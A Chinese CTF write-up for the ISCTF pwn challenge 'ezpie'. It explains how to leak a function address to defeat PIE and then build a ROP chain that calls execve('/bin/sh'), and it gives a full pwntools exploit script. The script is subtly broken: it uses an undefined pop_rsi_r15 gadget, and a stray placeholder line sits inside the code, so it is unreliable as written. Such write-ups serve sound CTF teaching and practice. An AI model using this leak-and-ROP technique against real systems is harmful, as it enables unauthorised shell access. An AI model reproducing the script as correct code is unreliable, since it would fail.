目前接触的随机好像都与地址有关,而且还有一个特性也就是只是基址随机,只要有任意一个地址就可以知道其他所有具体地址。(libc和pie保护)
这里将通过ezpie这道题介绍绕过pie的一种方式,泄露地址一获取全部地址的方法。本人还不太懂partially write的原理,就不误人子弟了。
这里我们看到v5等于function函数的地址。很明显在勾引我们去泄露function的地址,问题是如何泄露。看看栈。v5是var_8
因为read读入三十个字节,所以我们控制的区域是buf后三十个字节的空间,虽然不能做到栈溢出,不过看到v5在我们buf可控制的空间里。
这里就可以通过写入buf顶到v5的位置前,让buf结尾的\x00
没有地方写的下。所以在程序输出“hello ,”之后就会跟上我们的垃圾数据以及v5的地址。
这里我们看看如果输入刚好少一个A看看能不能看到\x00
以证实我们的方法
可惜啊,这里没有把\x00
显性的写出来。
那我们还是在看看刚刚好顶到v5前的效果吧。
可以看到,中间skipped掉了,说明在func前的就是八个A刚刚好占满一个字节
在已经通过main函数泄露地址后来道func就是很常规的ROP构造了。直接上exp奥。
from pwn import *
context(
terminal = ['tmux','splitw','-h'],
os = "linux",
arch = "amd64",
#arch = "i386",
log_level="debug",
)
io = process("./ezpie")
def debug():
gdb.attach(io)
pause()
debug()
[################################################]
offset = 88 #在func里面填充栈的垃圾数据字节数
io.sendafter('your name->',b'A'*40) #用垃圾数据泄露出func的地址
io.recvuntil(b'A'*40) #用recvuntil吃掉垃圾数据
a = u64(io.recv(6).ljust(8,b'\x00')) #正式接受func地址
print('a\t',hex(a)) #打印出来方便调试
base_addr = a - 0x120e #泄露的是func的地址
print(hex(base_addr))
main_addr = 0x1254 + base_addr #后面的gadget都要记得加上base_addr
pop_rax = 0x12c8 + base_addr
pop_rdi = 0x1333 + base_addr
binsh = 0x2008 + base_addr
sys_ret = 0x12C5 + base_addr
payload = cyclic(offset)
payload += p64(pop_rax) + p64(0x3b)
payload += p64(pop_rdi) + p64(binsh)
payload += p64(pop_rsi_r15) + p64(0) + p64(0)
payload += p64(sys_ret)
io.sendlineafter('please enter your information-> ',payload)
io.interactive()
这里没对rdx处理第一是因为找不到rdx片段,第二是rdx在这时已经是0了。(在调用puts函数之后rdx变成0了,这个估计是puts函数特有的一个作用,可以留意一下)
标签:ISCTFpwn,addr,题解,ezpie,地址,base,io,payload,p64 From: https://blog.51cto.com/u_16356440/8649627